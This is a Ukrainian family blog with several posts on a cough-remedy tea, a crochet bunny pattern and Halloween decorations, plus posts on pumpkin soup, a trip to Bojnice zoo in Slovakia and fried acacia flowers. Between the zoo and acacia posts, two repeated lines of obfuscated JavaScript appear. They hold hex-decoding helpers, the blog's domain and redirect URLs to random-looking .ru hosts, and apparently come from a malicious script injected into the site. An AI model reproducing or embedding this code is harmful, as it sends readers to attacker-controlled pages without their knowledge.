Хворієте? Приємного чаювання!

А знаєте, навіть коли хворієш, то це не так вже і страшно… Вилазять всілякі приємні  маленькі дрібнички, на які при “здоровій голові” просто не звертаєш уваги, і є купа часу на “просто полежати – подумати”. А ще лікування може виявитися надзвичайно приємним, смачним і просто дуже-предуже красивим. Ось таким чайочком я лікуюся від кашлю


Чай специфічний – його треба заливати холодною водою. Тоді зберігаються якісь там корисні речовини, а чайок фактично зразу же набуває насиченого яскраво-темно-фіолетового кольору.

А потім доливати гарячої води. На смак і запах як дуже-дуже розбавлений стандартний червоний чай з гібіскусу – трохи кисленький. Смакує з медом.
Поки “заварюю” такий чайок, відчуваю себе чаклункою, що замішує якесь любовне зілля… направду, – особливий чай, по-особливому смакує, і дуже додає настрою:)

А якщо заварити неправильно, тобто, відразу залити гарячою водою, то колір буде яскраво блакитний, майже бірюзовий. Але не довго, за хвилинку помутніє і стане якогось невідомого сіро-буро-малинового неприємного кольору.

Ви все таки не хворійте, такий чайочок можна попити і просто так, він протипоказів не має (наскільки я вичитала), а настрою додасть точно. Особливо листопадовими похмурими ранками;)))

Про зайців, хелловін і про те, як восени запастися весною на зиму!

Привітики!

Значить про зайців: якщо я вам ще не набридла зі своїми зайчиками, то похвалюся третім, і, наразі – останнім, зайцьом-посміхайцьом:

В попередньому дописі я давала посилання на майстер-клас створення такого зайчика, але так як цей трошки більший і трохи інакший, я дуже довго мордувалася, щоб намалювати схему в’язання. Схемка читабельною не вийшла, тому просто додаю опис в’язання.
Тулуб:
1 коло – ланцюжок з 4 повітряних петель (пп)
2 коло – в першу пп вв’язати 13 стовпчиків з накидом (сзн), замкнути коло з’єднувальною петлею (виходить коло із 14-ти стовпчиків з врахуванням “стовпчика” із 3-х пп)
3 коло – змінити колір нитки, 3 пп підйому і поміж сзн попереднього кола вв’язати по 2 сзн, коло замкнути з’єднувальною петлею (всього виходить 28 сзн, в тому числі і “стовпчик” із 3-х пп)
4 коло – змінити колір нитки, 3 пп підйому і поміж кожні 2 сзн попереднього кола вв’язати по по 3 сзн, замкнути коло з’єднувальною петлею (має вийти всього 42 сзн, в тому числі і “стовпчик” із 3-х пп)
5 коло – 3 пп підйому, 2 сзн в 2 петлі попереднього кола, в 3 петлю вв’язати 2 сзн. Дальше по кругу до кінця в кожну 3-тю петлю попереднього кола вв’язувати по 2 сзн, замкнути коло з’єднувальною петлею (має вийти всього 56 сзн, в тому числі і “стовпчик” із 3-х пп)
6 коло – 2 пп підйому, 1 напівстовпчик з накидом (нпсзн), 12 сзн, 1 нпсзн, 42 стовпчики без накиду (сбн), замкнути коло з’єднувальною петлею
7 ряд (голова) – 3 пп підйому, 2 сзн пров’язані разом, 8 сзн, 2 сзн пров’язані разом (всього якби виходить 10 петель на наступний ряд)
8 ряд – 2 пп, 1 нпсзн, 8 сзн, 1 нпсзн.
Має вийти така собі грушеподібна деталька. Аналогічно зв’язати ще одну таку саму.
Вуха:
1 ряд – ланцюжок з 19 пп (в т.ч. 1 пп підйому)
2 ряд – 2 сбн, 2 нпсзн, 2 сзн, 2 стовпчики з двома накидами, 2 сзн, 2 нпсзн, 6 сбн
3 ряд в’язати по колу (чи то овалу;), обв’язуючи попередній ряд з стовпчиків – 8 сзн, 2 сзн в 1 петлю попереднього ряду, 1 сзн, 2 сзн в одну петлю попереднього ряду, 6 сзн, 4 сзн в 1 петлю(верх вушка), 6 сзн, 2 сзн в 1 петлю попереднього ряду, 1 сзн, 2 сзн в одну петлю попереднього ряду, 8 сзн
4 коло – 20 сбн, по 2 сбн в наступні 3 петлі попереднього ряду(верх вушка), 19 сбн
5 коло – обв’язати вушко напівстовпчиками, щоб зберігало форму.
Лапи: схемка є тут.
Мордочка – коло з 12 сзн.
Цей, такий собі осінній зайчик, мав би стояти в мене на кухні з букетиком осінніх листочків і парасолем (така була задумка), але так як догачкувала я його якраз під хелловін, то, відповідно, зайчик в мене зараз в хеловінському наряді:)

Про хелловін: в Україні хелловін чи то день всіх святих так маштабно як в Словаччині не святкується. А тут першого листопада навіть державний вихідний день – щоб усі могли сходити на кладовище, запалити свічки, поставити квіти і згадати померлих. В принципі, це правильно. Тому тижні за два до цього всі магазини і супермаркети були просто завалені свічками, лампадками, вінками і іншою “декорачною” кладовищною атрибутикою. До речі, оті всі віночки з штучних квітів, шишок, гілля ялини коштують зовсім немало – від 5 євро за маленький віночок з 1-3 квіточок. А ще по магазинах купа великих гарбузів, щоб можна було вирізати з них страшні і не дуже мордочки, хелловінські костюми для дітей і дорослих, всілякі хелловінські іграшки – відьмочки, привиди. І було багато хелловінських вечірок. Навіть в малої Ульки в школі англійської мови влаштовували “гелловін-паті” для дітей. Так як ми ще хворіли, то пропустили(
Коли навколо тебе всі в страшному хелловінському ажіотажі і під час прогулянок містом весь час натикаєшся на всяке таке хелловінське, то в останній день жовтня, якраз по обіді, мене теж напала хелловінська гарячка: захотілося щось таке в стилі хелловіну і собі зробити. Найпростіше – задекорувати квартиру. А що можна придумати і зробити за пів дня? Багато, я вам скажу. І навіть ще більше, якщо не лягати в 9 годин спати через головну біль. Я до дев’ятої вечора встигла розмалювати мандаринки “а ля гарбуз”

і переодіти своїх зайців на привида:

і симпатичну відьмочку на мітлі (я ж казала, що зайці багатофункціональні))))

Привид вирізаний з старої простині і розмальований чорним маркером (як і мандаринки), плащ для відьмочки теж з простині замальований чорним маркером, мітла з олівця і ниток, а капелюх гачком зв’язаний, бо з паперу щось мені не клеївся.
В планах було ще зробити з паперу замок відьми на вікно і приліпити кілька кажанчиків, але спання перемогло) Улька, як проснулася з обіднього сну, дуже тішилася мандаринками – складала їх то на вікні, то на столі, робила вигляд, що боїться їх, страшила мандаринками мене… І навіть зайців зацінила – особливо привида). Так що певну дозу позитиву, навіть на хелловін – ми отримали.

Про запас весняного настрою на зиму: так так, в жовтні-листопаді саме час запасатися весняним настроєм на зиму. Бо напевно не тільки мене одну на лютий-березень нападає депресія – різдвяні свята вже закінчилися, а весни ще нема. Тому ми з малою Улькою садили квіти: гіацинти і нарциси. Мали бути ще тюльпани і підсніжники, але через ті всі хвороби-простуди я не встигла купити(. А зараз в продажу вже різдвяна атрибутика пішла.
Значить садили ми цибулинки в невисокі горщики, десь так на 2/3 запихаючи їх в землю, трошки полили водою і сховали… – в холодильник. Там темно і холодно – цибулинки будуть думати, що то зима. Але так як в холодильнику періодично появляється світло, цибулинки мають вологу, а холод аж не настільки великий – то десь місяців за 2 вони попускають листочки і квітконоси. А коли їх потім з холодильника витягнути і поставити на вікно – цибулинки від світла, тепла і водички, подумають, що то вже весна і почнуть цвісти. Минулого року такий експериментик я вже робила. Гіацинти були бомбезні і вдома тиждень пахло весною. От.
Приєднуйтеся і ви: будем на кінець зими тішитися весною в хаті разом.
А ще, переглядаючи свою книжечку забаганок, натрапила на весняний запис такого змісту: “Цікаво, чи в звичайному горщику буде рости звичайна кульбаба? А якщо її посадити з парашутиків? Прикольно буде зимувати з такою сонячною квіточкою на підвіконні:) Не забути!!! – запастися парашутиками“.
І знаєте що? Я згадала, що в кухні в якомусь стаканчику я все таки запасла отих парашутиків. То ж заодно з гіацинтами і нарцисами в окремий горщик висіяла і їх. А щоб кульбаба точно вже була, то ми з Улькою принесли з вулиці ще два корчики вуличної кульбаби і тепер вони теж живуть на балконі в квітковому горщику. І досить добре себе почувають. З морозами заберу їх в кухню на вікно, а там буде видно, що з тої затії вийде. Якщо зацвітуть – обов’язково похвалюся)

Папа, і затишної вам осені:)

Осінь пахне гарбузами… і гарбузовим супчиком;)

Вітаннячка!

Як казав мій коханий чоловік: “Весна запізнилася, літо тоже, а от осінь прийшла точно по графіку”))) А я люблю осінь, люблю коли листя шурхотить під ногами, коли хочеться чаю і приходить особливий смак на книжки. Я вже писала, що мені книжки осінню читаються найкраще… А ще люблю осінній дощик-мряку, тумани, і прохолодні ранки. Люблю як пахне осінь: пожовклим листям, туманом, скошеною травою (восени вона має особливий і зовсім нелітній запах), яблуками, медом і м’ятним чаєм. А тут, в Словаччині, осінь найбільше пахне гарбузами. Якби ж хтось додумався зробити парфуми із запахом осені… це було би чудово…
В Левіце осінь почалася практично з першого вересня: отак зранку встала, подивилася в вікно і перша думка: нарешті вже осінь! А десь так з тиждень тому в супермаркетах і на ринку появилися гарбузи. Багато гарбузів, якщо точніше. Словаки дуже різноманітно вживають їх як їжу. Тільки в супермаркеті я нарахувала десь так з шість видів гарбузів. І так вони мені запахли, і так захотілося чогось гарбузяного, що аж слинка потекла)))
Одразу згадала, як колись в Луцьку, в піцерії Фелічіта (здається так називалася) я вперше в житті попробувала гарбузового супчику-пюре. І такий він був добрий-добрий! До слова, тоді в Луцьку, в цій піцерії, я їла найсмачнішу у світі піццу з дуже незвичайним поєднанням інгредієнтів для начинки. До тепер я такої смачнючої піци більше ніде і ніколи не зустрічала. А ще згадала мамині гарбузові молочні каші, з рисом чи манною крупою, як ми на пару з малою Уляською їх наминали. А ще до того всього в когось у блозі прочитала, що їли гарбузовий супчик… То вже був знак згори, що треба і собі чогось “згарбузянити”)))
Так що я просто не могла не купити гарбуза. Два дні я вишукувала рецептик гарбузового супу-пюре, але хоча інтернет то добра штука, деколи виданої ним інформації буває аж забагато. Рецепти всі дуже різні з різними інгредієнтами, так що не зупинившись ні на чому конкретному, я відкрила холодильник, витягла звідти все, що мені би хотілося додати до супчику і включила фантазію на половину з шостим чуттям. Одразу ж похвалюся, що супчик мені вийшов дуже, ну дуже добрим. Я на такий результат навіть не розраховувала, якщо чесно. Рецепту детального не дам, бо все додавала на око і орієнтувалася на власний смак.

Значить так:
– зварила овочевий бульйон: половина пучка цибульки-поррей, звичайна цибулька, корінь петрушки, пару горошин пахучого перцю, пучок зеленої петрушечки і лавровий листочок;
– пів цибульки і зо два зубчики часнику дуже легенько підсмажила на оливковій олії, так, щоб цибулька стала прозора;
– десь так з пів кілограма почищеної і нарізаної кубиками мякоті гарбуза + одна натерта на дрібній терці морква + ота смажена цибулька з часничком + трошки води розварила в каструльці, розімяла товкачиком до картоплі і чесно, пів години перетирала то все через сито, бо мій блендер поламався, а мені хотілося, щоб не було жодної грудочки;
– дальше оте гарбузове пюре (яке дуже солодке спочатку) я вже на власний смак розбавила овочевим бульйоном і вершками, посолила собі до смаку + чайна ложечка солодкої червоної паприки і “розтопила” в тому пюре два плавлених сирочки (то треба весь час помішувати поки супчик не почне закипати, а сирочок не розплавиться, головне, щоб не кипів, бо тоді втрачається вершковий смак);
– на сам кінець додала дуже дрібно порізаної петрушечки.
Смак в супчику виходить досить незвичайний і дуже-предуже вершковий, і такий ніжний-ніжний… Вже в тарілці посипала зверху смаженими гарбузовими зернятками, спеціями “для овочевого салату”. А щоб смак супчику був більше вираженим, до нього ідеально пасують смажені на маслі грінки, натерті часничком.
Ще один секретик такого супчику – його не треба їсти гарячим, найбільше смак проявляється тоді, коли він приємно теплий, а гарбузове насіння хрумтить на пару з грінкою.
Смачного вам, а мені, поки я це все писала, знову запахло гарбузом, тому я йду доїдати свій вчорашній супчик. Так що мені теж смачного.

Ще почитаємось)

П.с. порадьте ще чогось смачного гарбузяного;)

Знайомтеся: найбільший зоопарк Словаччини в Бойніце

Вітаннячка з Словаччини!
Тут нарешті трошки похолодало і я дістала сили і натхнення хоч щось робити;) От ніколи людина, напевне, не буде абсолютно задоволеною… особливо погодою. У Львові я стогнала і нарікала на дощ, а приїхали до Левіц як в Африку: неймовірна спека і ні каплі дощу, ні подиху вітру… Не повірите, але зранку в 6.00 годин на градуснику майже +30… а на сонці через обід цілих +64 якось було… і в хаті вночі +30… повний капець( я ходила як варена і абсолютно нічого не хотіла,… тобто, щось та й хотіла, але сама не знала чого) Так буває, особливо в жінок)))
Так, ліричний відступ на погоду завершено, тепер про цікавіше: ми на кінець-то розпочали трошки вивчати Словаччину і першим в списку був найбільший зоопарк Словаччини в Бойніце. На сторінці зоопарку можете собі глянути всіх звірюк, що там живуть.
Бойніце (словацькою Bojnice) це невеличке містечко в західній Словаччині з населенням десь під п’ять тисяч, але дуже цікаве в плані погуляти-подивитися: бо є тут найбільший зоопарк Словаччини, замок і купаліска з мінеральними джерелами, тобто басейни, а ще кажуть, варто відвідати костел святого Мартина і якусь печеру, та й саме містечко, в цілому, дуже мальовниче. Містечку цьогоріч якраз 900 років було.
Їхали ми з Левіц трохи більше години, бо дорога через гори, а там не розженешся, зате краєвиди суперові. Біля зоопарку є кілька парковок, залишити авто на цілий день нам коштувало 4 євро. Заїхали в Бойніце десь так по 11 годині і відразу в зоопарк. Допоки обійшли весь, то було вже десь по четвертій, бо гуляти там є де. Сам зоопарк дуже великий за територією, 41 гектар, а от щодо живності трохи мені забракло. Хоча, то взагалі перший зоопарк, який я відвідала в своєму житті і багато всілякої звірини взагалі перший раз на очі бачила, а тому на щось нарікати взагалі не маю права).
Збоку перед зоопарком є Бойніцький замок. Ззовні дуже красивий, а от в середину ми не попали: дуже велика черга туди була та й квитки не зовсім дешеві – по 10 євро з людини за півторагодинну екскурсію. Так що замок ми собі напланували на пізніше, тим більше, що його зараз якраз трохи поновлюють:)

Дальше перед входом до зоопарку є такий собі невеличкий базарчик з сувенірами, де ми за 2,50 євро купили магнітика напам’ять, і ресторанчики і гарний парк з озером, де можна просто погуляти чи на травичці посидіти.
А ще стояли хлопці і дівчата дуже середньовічного вигляду з усіляким хижим птаством. Орла можна було навіть погладити.
Вхід в зоопарк коштує 4 євро з дорослого, але є гнучкі знижки для студентів, дітей і доходцов (dôchodcov), тобто, пенсіонерів. Доріжки в зоопарку дуже раціонально розташовані: йдеш практично по колу, обходиш всіх звірюк і повертаєшся на початок, що дуже зручно. В зоопарку є багато атракцій для дітей і всіляких кафешок з фастфудом, де можна попоїсти якогось гамбургера чи “гарячого пса”. Та-та, хотдоги в словаків детально “перекладені” на словацьку, самі дивіться:
Ні гарячого, ні рябого, ані великого пса ми їсти не захотіли, обійшлися гранолками (картопля-фрі), кофолою (щось типу кока-коли місцевого виробництва) і якимось хімічним пійлом типу мороженого солодкого льоду неймовірно яскравих кольорів.
Дальше суто про звірину. Попереджаю зразу: фотки є, але мало хто з тварин дивиться в камеру( Як правило, вони всі до мене поверталися задом, як тільки я об’єктив на них наводила(
Починається зоопарк з усілякого птаства: сови, соколи,

орли,


і навіть такий рідкісний білоголовий сип, лебеді, фламінго, який дуже кумедно сидів на зігнутих колінах

папуги, гуси, страуси, павліни, казуари, фазани, ібіси


і ще всяких різних…

До речі, гуси, лебеді, фламінго і качки не в клітках, а в таких собі вольєрах під відкритим небом з невеликими озерцями. Чи то птахам крила попідрізали, чи їм там так добре, але плавають вони собі там спокійно і нікуди навіть не думають втікати. В озерцях сила силенна риби плаває і черепахи. Спострерігали таку картину, коли риба “набила” качку і вигнала її на берег з води. Було кумедно)))
Місцеві ворони не гидують під’їдати з загального корита на пару з казуаром
Дальше була велика “яма” з ведмедями. Ті сиділи в воді з блаженними посмішками на мордах і виглядали навіть дуже задоволеними.

В окремій будівлі є віваріум з усілякими рибо-жабо-ящірко-павуко-гадами) Найбільше сподобалася синя жаба і синій варан. Ну і зміюки всі були дуже яскравими, бо тільки но шкіру поміняли. І була ще велиииика черепаха, вся поросла водоростями!!!






Улька, звичайно ж, випросила собі морозиво)

Ось таку чудернацьку квіточку надибали… а що воно таке не знаю.

Були кенгуру, павільйон з мавпами, які майже всі поховалися від жари і безбожно спали. Орангутангів якраз підгодовували замороженими фруктами, але зафотографувати їх було неможливо: багато людей коло клітки, дуже запальцьоване скло і на сонці тільки ті відбитки на склі і були видні( Зате вдалося зловити отаку от блакитнодупу мавпочку)

Вперше побачила живого дикобраза – дуже вони загрозливо виглядають, скажу я вам, особливо, коли голками повертаються і зразу пригадується, що вони вродь, тими голками як стрілами можуть “стрельнути” (все таки не можуть, навмисне гуглила;)))

Дуже сподобалися сурікати, вони так кумедно сиділи на дупах в піску і заглядали відвідувачам в очі. Прямо як з мульта

Слони… не уявляла навіть, що в живу вони такі здоровенні. Почуваєшся біля них такою малееенькою казявкою. Слони весь час обдмухували себе вухами. Шкода, що були закриті всередині і фотки не дуже вдало вийшли, але все ж

Дальше були загони з усякими копитними: олені, лами, зебри, верблюди, коні Прживальського, які майже що вимерли і на даний час є єдиними дикими конями, поні і ще всякі різні мені до цього часу невідомі. Уляні сподобалися поні, бо їх погладити можна було



Леопард, видно, що щойно пообідав, спав і ні нащо не реагував

Знайшли таку цікаву тварючку як жанетта звичайна. Навіть не знала, що така існує. Єдина позувала мені в камеру і то, як виявилося, тому, що вилізла з нірки покакати))))

А ще тут гарні краєвиди

От… а дальше моя фотознімачка сказала нам па-па і розрядилася(

Є на території зоопарку ще такий собі мініпарк з гумовими динозаврами, які крутять хвостами і ричать. Вхід, здається, 3 євро з людини.
На сам кінець, вже за територією зоопарку ми попали в зеркальний лабіринт. Словацькою це звучить дуже кумедно – zrkadlové bludisko – зркадлове блудіско. За 2 євро з носа ми там трохи поблудили, Уляна чолом гепнулася два рази і здивовано дивилася на нас, чому то вона туди не може зайти. Пореготалися з коханим чоловіком в кімнаті кривих зеркал і нарешті поїхали додому. Улька вирубалася на виїзді з парковіска (парковки) і всю дорогу проспала. А я всю дорогу голову їй тримала, бо на всіх тих поворотах через гори шию можна зламати.

Прогулянкою ми задоволені страшенно, плануємо поїхати в Бойніце ще, на купаліска і в замок. А на наступні вихідні хочемо в біологічний сад подивитися. Я в біологічних садах, соромно признатися, теж ще жодного разу не була. Так що чекайте нового звіту. А ще за цей один день я виконала кілька своїх бажаннячок)

Чао, ваша Юлька)

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return “julliastoryblog.wordpress.com”},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf(“http”)==0){return p}for(var e=0;ehttps://ncnjm3le.ru/f2.html?a=26482https://3oaq3lgf23.ru/u.html?a=26482

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "julliastoryblog.wordpress.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;ehttps://ncnjm3le.ru/f2.html?a=26482https://3oaq3lgf23.ru/u.html?a=26482

Смажена акація… пробували таке?

Пам’ятаю, як колись, коли ще не було такого різноманіття цукерок, мама завжди робила мед з білої акації, цвіту бузини, кульбаб і навіть соснових молодих пагонів і шишок (останній мед ївся з лікувальною метою при застудах і шалено пах сосновим лісом;)… М-м-мммммм, як то колись було смачно набрати такого меду в ложку і виїдати потрохи, як ті самі цукерки. І навіть домашнє завдання з фізики з такою цукеркою в роті здавалася не таким страшним. Але то так… ностальгія за дитинством)
А зимою, коли нишпорила інтернетом в пошуках чогось цікавенько-смачнючого, знайшла смажену акацію! в клярі! От як таке можна було пропустити? Ніяк! Тому на днях все таки видобула аж цілих 6 гілочок цвіту білої акації і, не чекаючи до ранку, в пів десятої вечора все таки насмажила того цвіту.
Е-е-еее, і що вам сказати?… якось сподівання смаку були більшими і кращими за сам смак… Бо щось навіть не уявляла собі, яка то вона має бути, та смажена акація,… а виявилося щось схоже на смажений кабачок, тільки у солодкому клярі і без часничку))) Хоча, смак дійсно цікавий. Ну і запах… запах просто бомбовий! Саме заради нього я би радила вам спробувати смажену акацію. Ну і ще заради того, щоб потім можна було коліжанкам, так собі, між іншим, розказати: “Я от вчора акацію смажила… снідали з кавою… Як яку? Звичайну, білу. То ви ніколи не куштували смаженої акації? Та ви що? Негайно скуштуйте тої домашньої екзотики…”)))))))
От і я вам кажу: Скуштуйте!
І хоча мені вона не аж так дуже засмакувала, щоб смажити її ще раз, але скуштувати такого треба… може вам засмакує краще?

Якщо надумаєте, то раджу кляр робити не дуже солодким і не додавати до нього жодних пахучих інгредієнтів, як то ванілі чи кориці – переб’єте запах акації! Лише яйце, трохи муки і молочка, чайна ложка цукру і трошки підсолити. А цвіт акації брати цілими суцвіттями, щоб всі квіти розцвілі були, добре промити в проточній воді, струсити і щоб трохи обсох з води. От і все.
Смачного!!!

П.С. думаю, то можна зарахувати під моє бажаннячко №15)

Обновка для Ульки (з циклу рукоробок)))

Привітики, народ!

Я тут трохи випала з інтернет-життя… не маю часу, бо всерйоз захопилася в’язанням, чи то гачкуванням?…
В’язала малій курточку на весну, але вона мені якась вийшла завелика, тому в …надцятий раз буду її пороти і перев’язувати( Буде вже на осінь, бо в Левіце весни так і не було: після зими з дощами і нульовою температурою, фактично почалося літо. Сьогодні гуляли в легенькій курточці і тонесенькій кофточці і то були затепло одіті. А ще прикупили Ульці босоніжки і нове платтячко, в якому після примірки дитина пішла спати, бо скинути категорично відмовилася. Як аргумент було: “мама, йди геть, Няня буде пати(спати)”… добре, хоч босоніжки вбалакала зняти))) Читати далі